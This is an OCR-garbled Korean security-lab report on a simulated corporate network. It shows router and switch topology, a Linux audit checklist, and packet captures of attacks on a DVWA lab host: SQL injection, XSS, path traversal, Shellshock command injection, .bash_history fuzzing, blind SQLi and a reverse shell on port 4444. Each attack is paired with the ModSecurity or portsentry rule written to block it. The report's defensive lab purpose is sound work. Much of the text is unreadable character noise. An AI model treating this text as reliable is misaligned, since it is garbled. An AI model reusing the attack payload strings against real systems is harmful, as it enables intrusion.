[Wazuh Agent 4 # 50 b ] ARAREREARARRIEEERIEHEED

[Gathering Facts]

test certs]#

AgentOf| 21FA HjzZ

firewalld.py

——— scapy ips AjZ —
e 2H: inbound
o

] E ? .168.3 echo-request aw = y ips A2 —
E 3 echo-reply @ / Ra E: inbound

ens224 / 30.3 68.30.4 echo-request @ / =5 [40.1.0.10, 1
: ] S " 5256 ens224] Ether / IP / ICWP 1 echo-request
ens224] Ether / IP / ICHP 2 echo-request

> ens256] / / 1 echo-reply @ /
ens224] / - =00 ch a : [ens ens224] Ether / IP / ICWP 0.10 > echo-request @
ens256] / / 92.1¢ y @ / Ra ED : [ens256 -> ens224] Ether / 1P / IQMP 2 > echo-request
ens224] L s / 1ED : [ens256 —> ens224] Ether / IP / ICHP il ! echo-request @ / Raw
ens256] W
ens224] Ether /
Ether /

DBO|| S32|AEQf LiZ=5t0] T2l A Of
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policy_checkyml

ERABLE (PermitRootlogin is mot 'no')
ECK REQUIRED {minlen =<
VULNERABLE (No account lock pelicy)
44)
: PASS
: VULNERABLE (TMOUT not set)

8 or not set)

ox
2
N
T
>
o
0z
il
Jot
ro
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=]
=& LH&
4815 2026-083-85 15:11:59.618996 20.1.9.18 30.3.20.2 DS 119 Standard query SxSde.
4817 2026-83-05 15:11150.622407 30.3.20.2 26.1.9.10 ONS 135 Standard query respo.
1026-03-05 15:1 . 7 . 39.3.20.2 DNS
2 - C g 1 2 8.1 8 18 ey
30.3.20.2 DNS
Internet Protocel Version 4, Src: 30.3.20.2, Ost: 20.1.0.10 Ll
Transmisslion Control Protocol, Src Port: 53, Dst Port: 37009, Seq: 1, Ack: 54, Len: 69
¥ Domain Mame System (response)
Length: 67
Transaction ID: @x640a
¥ Flags: 0xB00S Standard query response, Refused
1 . = Response: Message is o response
000 0, = Opcode: Standard query (@)
= Authoritative: Server ls not an authority for domain
EH;' ' = Truncated: Message 4 not truncated
A B = Recursion desired: Don't do query recursively
e = Recursion avallable: Server can't do recursive queries
= Iy reserved (0)
= Answer authenticated: Answer .fj axfr g q ol X‘I ﬁ'_% Im server
*I (o] 7.5 | = Non-authenticated data: Unacc S
T 47 = Reply code: Refused (5)
Questions

Answer RRs: 8
Authority RRs: @
Additional RRst 1

better,com: type AKFR, class IN
.‘W

— O

axfr YO| MSE

= |

ol .ntp.org): query (cache) ‘3.debian.pool.ntp.org/A-IN' denied

11: -
namedAH| A9 20| A axfr 8<
MEA| 237t He

14 ,“ b {;

8.1.8 .16 (better.com): transfer of 'better.com/IN'

’6.1.0.188441831 (better.com): transfer of ‘better.com’IN

HE 7 E|
[y A s ~ = X|0FX
X obx  F Ok M&0| 7ts%t DNS HE =& F AN
H A 2}
B - Jbs MH HESIES =ob B 2
oH
L 1 R
| :
e aﬁfr g9 M8 24
{1
L - 22 S
EIQ_I, oo
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=5 e
-3 1551460
en=8 MSS-1450
et l
Win=1024 Len=8 1RSS=1468
s-wxr¢w(mls~q~lmm-z-t::;§m
243 [SVN] Seq-0 Win-1024 Len-8 MSS-1460
59 £3367 + A43 [SYN] S20-0 Win=1024 Len-@ ISS-1%60
musn‘m(m]m:{mﬂw
60 63357 = 443 [SWN] 5:: :fw-alﬂ Len=d ﬁ: e
i EAl Jwindow3 7|7} 1024 @l
3 e 710] EbA|ZHol Bo| grayst
B -
T —
L —— |
. - HEAH
window37|7} 1024 Q1 TCP SYN I§ZI0| THA|ZHOf| BLO| HHlst
232 x| 27}
= |
HE 7 E| _ . —
Sorm UHEYO mE ZE FIIH MH MEIE EHOlsts ZE A FAH
OFX To —
x| oF X4 F 2
TI= o
= A
oy | H o}

o = <+ A2
wren | portsentryE &6 MB{O|N SZHXL IPE XTSRS HOF HAM £~
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6.1.3 SQL Injection ¥ 24X
=5 e
Ip-addr ==
e J-n:.-m--n-:r-un-u-m1»_---_
wry_name+FROM+information_schem
sn_nase+FROM4 Information_schem

1 EA|
2=
EHX|

2| AEZ0 select,
substr & sql& =X
FHz| AEZ0 select, substr & sql& =X
21
webAH|A Z0|A select, substr S sql2 =Xj

HE|-7|3|E_I =3 olgd o = | ASHSLL Ho H x| Ok X

= o APEX YEoE E02 sql 22 Y= sql injection FHYH
Ffyg TS
=4 EHeoF  modsecurityE Sl MH2| ALEAL YHOA sqlE LAl XTtst= Hob HH

HEFEH 2|

od =
_?_I glt xn'l = W fiuHil(‘:m‘:):ll te
EQ._I' (=)
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T8 ZiEIAM

1>
oz
noe

l:l_l
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x| Ok
6.1.4 XSS F 5
(=] 2
=TT LH [=]
W Ipaddr == 20.1.0.10 && http
[No.  Time Source Destination Protocol  Lengtt Info
HTTP 566 GET /upload.php?page=../../../var/ww/html/uploads/rred.jpg HTTP/1.1
HTTP 521 GET /upload.php?page=notice.txt HTTP/1.1
HTTP 452 GET / HTTP/1.1
HTTP 452 GET / HTTP/1.1
HTTE 452 GET / HTTP/1.1
HTTP 413 HTTP/1.1 584 Gateway Time-out (text/html)
HTTP 413 HTTP/1.1 5@4 Gateway Time-out (text/html)
HTTP 452 GET / HTTP/1.1
HTTP 1038 HTT .1 208 OK (text/html)
HTTP 452 GET / HTTP/1.1
HTTP 1838 HTTP/1.1 280 OK (text/html)
HTTP 496 GET /contact.php HTTP/1.1
POST /contact.php HTTP/1.1 (application/x-waw-form-urlencoded)
GET /contact.php HTTP/1.1
= HTTP/1.1 208 OK (text/html)
JLIIE'J HTTP 567 GET /contact.php HTTP/1.1
Frame 438512 captured (7296 bits) on interfac
Ethernet II, Src VMware Sb:la:df (@@:0c:
*lotx-l Internet Protocol Ver
TI=aa sion Control Protocol, Src Port
EI-XI sbled TCP Segments (2294 bytes): #438511(1448), #438512(846)]
a xt Transfec
ML Form URL En AL = -13
Form item: "t %IE! = Doﬂ SCr pt = 7t_:’ jl-t:)
Key: title
content" ascript” function getDownloadPath(
value [-]: <script type="text/javascript™>\r\ function getDownloadPath() {\r\n
. . o 510
http formOll javascript 7+& 29l
3}0o]dF A ol O
E‘JE‘ = w2 T Ba
HE"EIE—I Al._gxl. OIE#OE EO.IQ int= AESH‘é'l.h XSS *lOtI—I
*IOEI‘I o H == = VI SCFIptE T ol T
*IOFI'l L e Y~ |
T
H A F——| &+ ol & H =13 CI3l = O} X 2
TS Heot  modsecurityE S8 AMH2| AFEAR YO script RHEA| XHESHE HOF HHM 4
HFEH
od E‘=|.|
8 :18.725114
IREQUEST_HEADERS lod ,den 83 ,msg '
-’f—l gfﬁ = B8 (@ t SSever Ll el TicnL, tag : WEB ATTA
Bet  =°
[
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6.1.5 File Inclusion F &
H2 2
=TT 8
e T oy e e ey Dy e e
HTTP 1336 HTTP/1
566 GET /upload.ph»?page Jvar/www/html/uploads/rred. jpg TTP/1.1
Source Port:
Destination Port:
[Stream index: 119573
[Stream Packet Number
[Conversation completeness: Complete, WITH DATA (31)]
[TCP Segment Len: 448]
Sequence Number: 1399 (relative sequence number)
Sequence Number (raw): 3059045385
[Next Sequence Number: 1839 (relative sequence number)]
Acknowledgment Number: 5602 (relative ack number)
Acknowledgment number (raw): 3812483924
1800 .... = Header Length: 32 bytes (B)
Flags: @x@18 (PSH, ACK)
Window: 3@7
E“?l [Calculated window size: 78592]
A [Window size scaling factor: 256]
Checksum: @x7775 [unverified]
[Checksum Status: Unverified]
*Iotx.l Urgent Pointer: 8 . . )
T O (12 bytes), No-Operation (NOP), No-Operation (NOP), estamps
El-xl [Timestamps]
a [SEQ/ACK analysis]
TCP payload (448 bytes)
* Hynertext Transfer Pratacnl
* GET /upload.php?page=../../../var/www/html/uploads/rred.ipg HTTP/1.1\r\n
Request Method: GET
¥ Request URI: /upload.php?page=../ /var /wwe/html/uploads/rred. jpg
Request URI Path: /upload.php
ALO] ZEHE EMAMG OIS » o 2 A 3o =
Aol EME EAMSHY| vt m 2AE =0l Tts
ES[e] 5|
TI =g
= A o= % AFO 2 E}FAl QAL u g OFIHES EFX|3LL
TS get  modsecurityE S &9 CIEEZ] EMO| ALt "/ EXNESE HASE 2
HEH  of XMz A2
od |_|- o= TH
) {E " DE] SN (T ~)" | "phase:1,auditlog, i
Aore .  ECT , e
et B3
(=
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=& LH&
Source: Destination
3 30.2 ' 4 GET / in.php HTTP/1.1
36.3.38.2 28.1.0.168 403 Forbidden text/html
— Vers
uHZJ on Control Pr
php HTTP/1.1\r\n
- User-Agent0f]| A3 2E
_*_I %ﬁ python-request \r 7|8t £ oLl
EF ‘ WG BEL, UETLatE; “python-requests” 2+l
353 i
User-AgentO 23 EE 7|8t HEXF StLIQ! “python-requests” 22l
48 +B98B1 "GET /DU
27 - User-Agentd]| 23 2E 7|4t H&F Lt
webAH[A 20| A “python-requests” Q!
=13
E?le_l AgzlE 7|H|- I"¢O| 7|.hz‘5} |:|| 0|7|. x|.5§|. 74 L= *|ot7t—|
%] OF %] *lOkI‘I ——1le—= L [Sp= |_ S S = Tiao
FHAHE FSTE
H M 2}
== - . . .
wpey  ModsecurityS S0l MHOM A3 RE 7|H T4 Aot 22 X +E
oHd
User-Agent0] 232
52 +8%80 8 = o|u HAE oL
#I clltxﬂ-l H= 0 o I ©| ‘python-requests’ deny, log,status 483 msg: ' [custom]
EQI_I_ [=N=)
& SILIQl “python-requests” B X|SH0O] XpChst

6.1.7 Command Injection ¥ 2H

=
=
AO0 A BEERE R e=»=
R http
No. Time S Protacol Lengtk Info
34 8.4545637 8 . HTTP 612 GET /DVWA/wulnerabilitis
39 8.086819
_ 3B4+%70%38+X2Fbin¥2F]s+-a18 submit=Submit HTTP/1.1\r\n
uHZJ n i 15 ? 76+ %3IAXIBHETDRIBHX2F b1 nEIF 1 s+-a18Submit=Submit
*| OFX{ o Hieclon B
TIE:' = - : Mozi éfsﬁel;gi?ci;ﬁ?gé s rv:148.0) Gecko/20109101 Firefox/149.8\r)
e x| rccept. onsnge: IRRORERHE T DRI R
Accept-Encodin
Connection: ke
Refere 3 it=submit\r\n
code injection 5 oHLt2! ShellShocke] =0l
)t =t
3 |
ShellShock® TLZ=OI “() { = }:* &ol
EHE o uo] SRR DEHOZ Alstsl it
xopm  EobY o e 2IM KON FHOE HAS= command injection
TI b =1 TIao
= A
[ et d ityOl A| ShellShock®| FLZ=Q1 “() { @ };* EIX|$}= HOF M A2
HH:IE"I modasecurity e OCK=]| a7l I = | = L o= TH™
o
823098 +A9881 a
"I:'IQFE]I H= S = “REQL ZEX|5E0] ApEh
EQI_I_ O o ock Attack Atts
"0 { 5 b ERISHO] XREE
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6.1.8 mfojE] HE F|A4H
=5 LH&
N http &8 hitp.request uri=="/DVWA/ bash_histary”
Time Source Protocol Lengtt Info
28.1.8.1@ 38 2 HTTP 185 GET /DVMWA/.bash hi
288 B.BaaaT7 38.3.38.2 28.1.8.18 428 HTTP/1.1 484 Not Fi
Frame B3: 185 bytes on wire (1480 bits
Ethernet II, Src: VMware 50: b3 (e8:
Int et Protocol Version 4, =
Transm ion Control Proto
EH%\I Hypertext Transfer P
* GET /DVWA/.bash _h
Pt
#op
E"XI Hao. 38.3 .
= User-Agent: Fuzz Faster U Fool w2.1.@8-devir’
Accept-Encoding: gzip\rin
MHof gdutd oz ZEI|SH= TYFHQ “bash_history” 20l
Jtxt HTTP-1.1" 484 1
. bak H'lTP._/:l..’l" 484 1_ 3
21
BE7
= - - —_ — - — —
orm | morg SO EMOE THYW 9 Iy Z2E SMsts TRl0E HY
FY™ TISTS
=S| . e . i e,
=3 Het  modsecurityS S AMHOA ZEHoZ FISHX| @= Ot it 2F0| S
HEEH .
LH  oLX HXSe mol WM 4
HoH
EQI_I_ O o




2M HZ  F1-REPORT-001

1L EH Ta2Al ASH ZA AT Ol
oo =Z2ME £ AWMEBEIM  £¥Y 2026-03-03
| ol X| 93/187
. . ) * o I*
6.1.9 Blind Injection F|2f%H
—
=& LH&
Source Destination Protocol Length Info
573 ©.084886 20.1.8.18 39.3.308.2 HTTP ET /DVWA/ ?q=%25%27+AND+%285UBSTRE284255
574 @.824619 3@.3.38.2 20.1.8.10 HTTP HTTP/1.1 483 Forbidden (text/html})
575 @.881644 28.1.8.18 38.3.38.2 HTTP ET /DVWA/ ?q=R25%27+AND+%28SUBSTRE2BH28S
576 @.828948 38.3.308.2 28.1.8.18 HTTP HTTP/1.1 483 Forbidden (text/html}
577 8.801394 20.1.8.19 36.3.30.2 HTTP ET /DVWA/ ?q=%25%27+ANDHH285UB5 TRE28%2858 EC
575 @.829428 38.3.38.2 28.1.8.18 HTTP HTTP/1.1 483 Forbidden (text/html})
579 @.881488 26.1.8.18 3@.3.38.2 HTTP ET /DVWA/ ?q=%25%27+AND+%28SUBSTRE28X285H EC
588 B8.829732 38.3.38.2 28.1.8.18 HITE HTTP/1.1 483 Forbidden (text/html}
581 @.861594 26.1.8.18 368.3.368.2 HTTP ET /DVWA/ ?g=R25%27+AND+%285UBSTRE2EX235H EC
582 8.820328 38.3.36.2 28.1.8.18 HTTP HTTP/1.1 483 Forbidden (text/html}
583 8.881645 28.1.8.18 3e.3.3e.2 HTTP ET /DVWA/ ?q=%25%27+AND+%285UBSTRE28%285H EC
584 B.828834 38.3.30.2 28.1.0.18 HTTP HTTP/1.1 483 Forbidden (text/html)
S5B5 @.8e1211 28.1.0.16 36.3.38.2 HTTP ET /DVWA/ ?q=%25%27+AND+%28SUBSTRE28X2855 EC
586 8.829253 38.3.36.2 28.1.8.18 HTTP HTTP/1.1 483 Forbidden (text/html})
587 ©.881457 28.1.8.18 3@.3.38.2 HTTP ET /DVWA/ ?q=%25%27+AND+%28SUBSTR%28X2558 EC
588 @.828989 38.3.38.2 28.1.8.18 HTTP JHTTP/1.1 483 Forbidden (text/html}
580 B8.801424 26.1.8.18 36.3.30.2 HTTP ET /DVWA/ ?q=R25%27+AND+%28SUBSTREIBXIZSH EC
EHgJ HTTP/1.1 483 Forbidden (text/html)
ET /DVWA/?q=%25%27+AND+%285UBSTRE28%285
i i text/himl
3 TRE
593: 408 bytes on wire (3208 bits), 46@ (3268 bits) on interface -, id 8
t II, Src: VMware 5 3 (0@ ca: tCE: (ca:01:3T:c8:00
, Ack: 15542, Len: L3
_’ISIOFI'I
g $2C+1EICH1HI0+XIDHKITMEITHITHAN..
E"II Ho. 5. GT
User-Agent: python-requests/
Accept-Encoding:
xeep-alive\rin
curity=impossible; PHPS
e+ RO+
e ROM
2dE AlSH S} 20| £/ MRS H|WSIH H|ZHD 59| V2 =E238l= blind injecti
Fope =0T == o/AX= Bl =202 52 W= T=0°rc blind Injection
*IOEX‘l TS
TI=a
H A
HFEH
od
blind injection0f E28381=
519 | Bl XA Kt
(Pp1220REEBD] AAAATA = A= AL A
'?'Icllt$:-lI = _RAW; AR “'RH}UE‘IJ}EADVEL' c (71)(2: i e limit} se)\ 23 tlog,1d:2380001, log,deny, stat
O o WEB ATTACK/SOLL j
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6.1.10 THY Y=L FobH
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=& LH&
Destination Protocol Lengthinfo
8 8.713618 38.3.30.2 516 GET /DVWA/vulnerabiliti
13 8.6686034 el 26.1.8.16 572 HTTP/1.1 286 0K
26 i E 2 388 POST /DVWA/vulnerabilid
642 HTTP/1.1 288 OK (texty
Frame 53:
Ethern
Version 4, L o 1.
Control Protocol, Src Port: 24617, Ack: 1, Len: 234
Hypertext Transfer Protocol
MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: “----geckoformboundary
[Type: multipart/form-data]
boundary: geckoformboundaryfad92b37b
~ Encapsulated multipart part:
%ot
EFX| b Data (6 byt wiresharkOf| A =&H(HZE)E
(=] Boundary: \r\n ---geckoformboundaryfad92b3 . H_I.Dlgl EI—](*E
. re ; = = [=]
* Encapsulated multipart part: (image/png)
Content-Disposition: form-data; name="uploaded”; filemamwc= gamiyaiods.pig Al
Content-Type: image/png\rinirin
} - hirs
T nfa (Error/Malformed}: Malformed Packet {Exception occurred)]
Malformed Packet (Exceptio
Severity level: Error]
Group: Malformed]
x
#ory
=
2y
x|
#ory
Het
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6.1.11 2z A Al F ok

— =
=5 LH&
28184 @.861808 30.2.8.1 48.1.8.18 56057 + 4444 [ACK] Ee Ach
28185 1.378i 6084444 + 58857 [PSH, RCK] Seq=1 Ack=:
20136 8.02830 AL Ol A] O|2I7} MO A BHA SAS 1434f1444 > 50857 [ACK] feg=5 Ack=1 Win:
28187 a. AlE&iD = S B LB 1444 5 58857 [PSH, B 1385 A
o ol= == | = )
20188 8. 206! | 2, Ol A% S 1444 » 50857 [ACK]
29180 8.ee8eld f1444 5 58857 [PSH,
20106 @.800817 444 - 58857 [ACK]
29191 @.800022 444 + 58857 [PSH,
I EA| 28192 @.e@eez7 444 - 58857 [ACK] 1
u'“ A 28193 B.800012 444 -+ 58057 [PSH, =09665 A
28194 ©.8608856 444 - 58057 [ACK] 11845 Ack=1
2@195 @.@858838 58857 = 4444 [ACK] E Ack=2765 |
28196 8.800116 beq=1 Ack=6985 |
28197 ©.80002¢ beq=1 Ack=11845
- caoo o oo " .
b
b} Ethernet II, Src:
b Internet P
* Transmission
o EAl2 3 S A EAlSH
MEO|M HIQIZE MEHOIA HAY S4s AlEstd, Ol A% 4
*I OFX " Resource-Exhaustion-Resolver ~
TIAO - Resource-Leak-Diagnostic
E} _| RestartManager
a xI _| RetailDemo
~| RRAS-AGILEVEN-Provider
_| RRAS-Provider
_ Securty-Audit-Configuration-Client
1 Security-EnterpriseData-FileRevocatic
—| Security-ExchangeActiveSyncProvisic
7 Security-IdentityListener UtcTime: 2026-03-05 16:16:35.142
| Security-Kerberos. ProcessGuid: {0b181f6c-ac63-6939-5105-000000003100)
| security-mitigations
— security-Netlegen Image: C:#Usersww#Downloads#hack exe
| Security-SPP-UX-GenuineCenter-Log =
il SE(ur'\ty-SFP-UK-NDt\ﬂtaﬁcns Description: -
:E(unty';user;nn;:ztl\.‘en?ls—r Product: -
~| Service Reporting .
SettingSyne ComRann: - gy upro o= 4 glols 35
E:l - S RS CriginalFileMame: - dEet2 MO CHREC st ut2 S 7= olof
3 Shenrcgmm‘a Hooouniiee CommandLine: "C-#Users#jw#Downloadsihack exe" Al 24 A T e E
shell-Core CurrentDirectory: C#UsersjwDesktops
B cratcad A User: DESKTOP-KIDOIMS#jw
. SmartCard-DeviceEnum LogonGuid: {0b18176c-9d65-6929-4bb3-050000000000}
I smartCard-TRM-VCard-Module Logonid: 0x58948
1 smBaclient (TerminalSessionid: 1
| SMBServer integrityLevel: Medium
| SMBWitnessClient Hashes: SHA256=DCB227 {FEBBFA0T001F746801 1040430 7R772A06223E72COEG35FOCEN3660221
| StateRepesitory ParentProcessGuid: {0b18116c-ab26-69a9-4705-000C00003100)
1 stickyNotes ParentProcessid: 5672
| StorageManagement Parentimage: C:#Program Files#internet Explorersiexplore exe
—| StorageSpaces-Driver ParentCommandLine: "C:#Program Filestinternet Explorerwiexplore.exe”
_| StorageSpaces-i gementAgent
| StorDiag E3 0|5 (M) Microsoft-Windows-Sysmon/Qperational
Aldglo o= C3l ol 5 o A A M E|
HEZPXOM CH22E TS 02 ot M Z2MA7F 488
HEZ 5|
21 o o X™xH SSle 235 2 A = AlSH X|0FX
*|otx-| OI'D'CHl'T'_‘— o—|o| DlEl:lE O|OOI_|- '|E|—| 4t EoH T|—||:|
*IOFI‘I TI=a
T
=S|
=4 Hel _
= Ej =2 E Zt o ™~ CIol= OF X xH 22l
wreq | portsentryE SOl OJALE ZE ZEA| 8! HZ XSt 2o FA =g
od
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7. 2ot HECto[HA Gl JH0|E
71 72 YRS HHA

7.1.1 A &2

25 HY #8
root A8 ¥4 = H|ct
HARE SEY 4F
VULNERABLE
AE Ea LA 248 PRt
VULNERABLE
- - N [U- 94]
HAHE WY B2 E:j E?% S
-0& 5 V
0| 2|9 7} ‘0 [U-44] VULNERABLE
root 0| I:LIxIUID ko [U-45] = VULNERABLE
o [U-46] 7 : VULNERABLE
. [U-47] ”LJLNEF‘ABLE (Found: 1p)
root A8 su H|ct [U-48] + A H : PASS
[U-49]
X bd| M [U-50]
AQE XA Zo| MM [u-51] :
% kS Ij & Z i AHE7|ZE
#a| 2%
IjAE x4 ALE7|ZE
A-lxg

E2ast A HA

22Xt 20 =2
AN =3

A™o| ExYSX| %=
GID 2X|

S8 ul

[ — e

D =X

uucp )
[Uu-48]

AL XL shell A

[u-43]
[U-58]

Session Timeout &%

[U-51]
[U-54] ¢

VULNERABLE
VULNERABLE

VULNERAEBLE
”ULNERABLE

VULNERABLE
(Found: 1p

UULNERABLE

Shell

Llon Timeout({TMOUT): VULNERABLE
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Ansible 2| EZE

N
2
=)
Q
2
2
o
jﬂ
e
k>
30
>

/etc/hosts T
o AT MY

oy o
SETSE
2|

/etc/(x)inetd.conf It

297 U A 47

/etc/syslog.conf I+
AR o HE 4

/etc/services Tt A Q X}
o AHSH MdH

SUID,SGID,Sticky bit &%
oy A

A8, AMAH Al Eotd
2 2EY [ S

A3 M

world writable I} HZH

/devO|| EX|5IX| 2=
device T ’.‘:17&.'
$HOME/.rhosts,

hosts.equiv A& ZX|

&5 P Y ZE XNst

_,_
o

hosts.lpd I
Aot
UMASK
2E|E"EE| ALQ xl. 5‘&'
Aot 43
sr|yEa| 2 Xy
ClaEajo] =X £
=747 oty 3 CHEg
R

2% &

e sts (rooty
’etc /xinetd.conf (root

wur1d Writable =

] fusr/loca

OUND (N/A)

EQUIRED
PASS (558 )

La_rUJ

ERABLE (@ 648)

UND (N/A)

(Found SUID:

( Found SUID: r/bin/newgrp)

/ in/newgrp )

:/sbin:/bin:/snap/bin

/bin/newgrp)

/snap/bin

Jusr/bin/newgrp)

snap/bin £
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SA i+ E

HIELA]
TE 7158 FR2 7' a4 dM 2
VLAN VLAN =2|d o 222 EOt U3t G HEEEJIAE
ID/Access/Trunk &2
VTP Server/Client/Trans .y on Y= 59 o2 2 A5 57/t
parent
Root
STP Bridge/BPDU/Port 12 = &X| 8l 0|5 42 ¥Y =&
Role
Frame-Relay DLCI/PVC/LMI WAN T+2F 7he =l M 7|8 912
RSPAN Remote SPAN g1z 77t saym ojzjy 2 24
Switch VLAN
HSRP Cisco & &/Active-Standby ¥4{2| 7h&
AlO|E<|O] O|F%} &
#HE Z2EZ(HEIME)/Master-Backup
FHRP VRRP 4ralo| Jhat Aol E9o| o|Fst XF
GLBP Cisco -&/Active-Active 419 0| EQO|
O|z%t ! 2EHHY XS
. MAC S
) _MAC H|QIZ} Chat M4 xjoh 9 gob 2+
Port-security X3t Violation [217F BHE H% KT 2 2ot 4%t
Etherchanel LACP/E?r?rTérort—C g3 F2o2 Y= 7t A 0|53}
IPV6 FAMA/ICMPYEe - XEMIECH 1P A HA R =Z-E MS
static Static Route #HE|X7F =522 B2 XF
default Default Route OXE 58X Egfd 7|2 832 23
version 2 Ag| BiH 7|8t 38 2R ZEEE
RIP manual-summary 2t2% HO|E %oz s ¢
split-horizon 2te g £z 94X s
) Cisco M & 3SI0|EZ|E &8 2tRE
Routing ] ZZEZ2 WE S8 28X Z2 MY
XS ((DUAL 11 2|F/Feasible Successor/Fast
EIGRP Convergence)
manual-summary  HERA d= a@%c=z {2 xH3}
split-horizon EXRE gz 1 EX
) Y3 HEf 7|8 B2E X 2IRY ZEEEE
OSPF e =1 ASH HEHYI 74 X
area AZH g9 Fgo= 228 N3}
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neighbor Hello Tzl 7|gt 217 2t E &
Virtual-Link Area 0 14 SX| {3t =2|™ &3
NSSA Mots 8 A2 58 S 49
Redistribute Route NE Oz 2leg m2ez Z=2 29

Redistribution

AH IPsec 215 &G ZE HO|H RF2d % =X
oI5 M=
Hot m2ESR o - o
Ecp IPsec {22 2ot IO|ZEZ H|O|H Y=gt
o AN FZ2
transport e IP FASIH HO|=ERH 23}
[ Xeke] — oy
A2 ZE tunnel MA DI§Z eI & A3} (Site-to-Site VPN
ALE)
DES 712 oE7| 2=t LdaglE
A3t 2F 3DES DES EH&ty Aotz HokM shAb
AES NENE0 Aot SEF
Pre-Shared Key AT S/E 7| 7|8 25 &4
IPSEC
215 g4 RSA Encryption = 3717 7|8 223t 215 A
RSA Signature  CIX[E M3 7[Et 21T
MD5 HAIX] F2d8 43 siAl &elE
SHA| 21E|F
SHA AotE FAY 4T siAl g12F
Diffie-Hellman : OHHP 7| Mg A YT 1T
Site-to-Site/Remo HES| 3 7t ObM3t EH{dal [
VPN te ACCGSS -”—'I’-I - = -IEO -”O
GRE Tunnel Interface  HEIFHAE 8 SHeREY ME 7t HE
ASA Stateful Cisco oty TH|Z X 7|t E2fE X of
) Firewall/Policy = % EQt H&
Security =
DMZ NetworkSegment = LHF& 1t 223 ALO[of S7H MHE
ation 22|50 2ot L3}
so ACL Standard/Extende  E2iHE 58 S XE A2 HES= M2
d ACL Mol 25
. . HE2I3 M ':”-T',;l'E &FMXE*EOU
Python ScriptAutomation ilﬂ-lajlg ;631 = #el HY Ae=tE f
x+&3t
° ANSIBLE ConfigurationAuto | CtS HEI ZH| 48 Xts HjizZ S 22|
mation =3
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[MH]
TE 71 oM 2
- DNS Master-Slave 1422 Zone HIO|HE =Xl 7I24
sy gl =of X 2
DNS DNS * o Ho olx A Lot
- Zone TransferE Key Q52 E Zone & HOt& 3t
- LHE/2IF Zone 22[510] HE =& %A%}
- &Al DB Replica MY 22 MHA[ZH S| 7|gt G| O|E
O| =38}l /RO CHH|) S
DBMS Maria DB |3 |'(—| B/S H H |):I'L - P o .
- SQL dump, Rsync, Crontab2 O|8%t H7| B Xt&3t A
7=
Rsync -5 S70%E HHHIE 28 A 23 AFYE =2
Backup SQL dump - DBE Y mUZ FE5t0 /5700 28
- Dump 44 % Rsync 7|28 F7|HLE Xts HAHSIO
crontab HHO*/pHH:)EO-g-% y o =
- 0|&3}Active-standby) THOZ FO§ Al MH[A AKHEE
HA Proxy g5k, 3049 web A{H{O| 2EE-MH LS M &G0
Proxy e A g EE et
- Reverse ProxyE TITO| HiX|SH WHE MHE 2435t
Reverse Proxy 2xS =7
; Jlse M| oM Ef|mlS EFX|*XICHSID LjEQtO
pfSense I(F;SO|E|CI’_E_T|_;:1(320HH|-_| o — HﬁE | |' OI'—'—, H‘I‘o =]
IPS T e |t o= oo'l
Scapy - IPS REZ 230 SAHE(AE |P K
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4abbix - Cla3cel eSS0l FHof A% EA 3 23
IDS Filebeat - 2 MHOIM 238 =85 cac MHZ TS
- Filebeat S0A #Z& ZI1E DHA/ZHE = Y A
Logstash (SO0)2 Hg
Ptabl - 2l EHE A2 MHAYE ZE/MIY H2E MOoSHo
tables 2493t Egjme kit
| - Q15 Aif 21 J|Hte 2 34 PE At& AL SSH &
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ae s Fz2 7l 22 chBCE:
wazuh-dashboard | &2 Z1 2K
wazuh-indexer @ &4 231 N&
wazuh-manager | 324 21 7t5 ¥ ME
wazuh-agent &4 21 %
Y Iy
o= kibana A AEH 23 2K
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1.2 HES3 X X HHA
1.2.1 HEL3A H&
| kY oy S
R c7200 24
Router
ASA ASAv 1
ESW c3745 54
[OSvL2 15.2 5
Switch L2SW
[@]V] 4
FRSW Frame-Relay 6
Server NetC&C Rocky Linux 9.7 2
1.22 U EST HE A
| 49 22| ip

OSPF 1 AREA 0 / ASBR, EIGRP 300, Redistribute,
R1 1.1.1.1/24

manual-summary, 6 to 4 Tunneling

OSPF 1 AREA 0 / ASBR, EIGRP 200, Redistribute,

R2 2.2.2.2/24
manual-summary
R3 OSPF 1 AREA 0, 1 / ABR, split-horizon SliXl, neighbor &% 3.3.3.3/24
OSPF 1 AREA 1, 2 / ABR, neighbor S5, split-horizon
R4 . 4444724
SHAll, T-NSSA
R5 OSPF 1 AREA 0, 1 / ABR, neighbor & 5.5.5.5/24
OSPF 1 AREA 2 / ASBR, EIGRP 100, neighbor &%,
R6 6.6.6.6/24

split-horizon 3K, Redistribute, manual-summary, T-NSSA

OSPF 1 AREA 2 / ASBR, neighbor &5, Redistribute, Default
R7 , 7.7.7.7/24
Routing, T-NSSA, IPSEC over GRE/VPN

OSPF 1 AREA 0 / ASBR, RIP, Redistribute, manual—summary,

R split-horizon 3 &, neighbor 5= 88.8.8/24

R9 EIGRP 100, neighbor &% 9.9.9.9/24

R10 EIGRP 100, neighbor &%, inter vlan 10.10.10.10/24
R11 EIGRP 100, neighbor &%, inter vlan 11.11.11.11/24
R12 EIGRP 100, AFEE, inter vlan 12.12.12.12/24
R13 EIGRP 100, DMZZ 13.13.13.13/24
R14 OSPF 1 AREA 2, neighbor & 14.14.14.14/24
R15 EIGRP 200, split-horizon 3lA|, neighbor &% 15.15.15.15/24

R16 EIGRP 200, neighbor 5% 16.16.16.16/24
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R17 EIGRP 200, neighbor &%, inter vlan 17.17.17.17/24
R18 EIGRP 300, NAT, IPSEC over GRE/VPN 18.18.18.18/24
R19 EIGRP 300, inter vlan, 6 to 4 Tunneling 19.19.19.19/24
R20 EIGRP 300, Static/Summary Routing, BR, Redistribute 20.20.20.20/24
R21 Default Routing, inter vlan 21.21.21.21/24
R22 RIP, neighbor &5, NAT 22.22.22.22/24
R23 RIP, neighbor &%, inter vlan 23.23.23.23/24
R24 RIP 24.24.24.24/24
ASA EIGRP 100, NAT, ¥at¥ 27, in/outbound |, IPSEC over 25.25.95.25/24
GRE/VPN
ESW1 FHRP(GLBP) 30.1.128.254/24
ESW2 FHRP(GLBP) 30.1.128.253/24
ESW3 UHE ARX] 30.1.128.252/24
ESW4 UHE ARX] 30.1.128.251/24
ESWS5 At AQK| 30.1.128.250/24
ESW6 UHE ARX] 30.1.128.249/24
ESW7 UHE ARX] 30.1.128.248/24
ESW8 At AQK| 30.1.64.254/24
ESW9 VLAN / VTP 30.3.192.253/24
ESW10 VLAN / VTP 30.3.192.252/24
ESW11 VLAN / VTP 30.3.192.251/24
ESW12 VLAN / VTP 30.3.192.250/24
ESW13/L2SW EtherChannel 30.3.30.20/24
ESW14 At AQK| 30.2.160.254/24
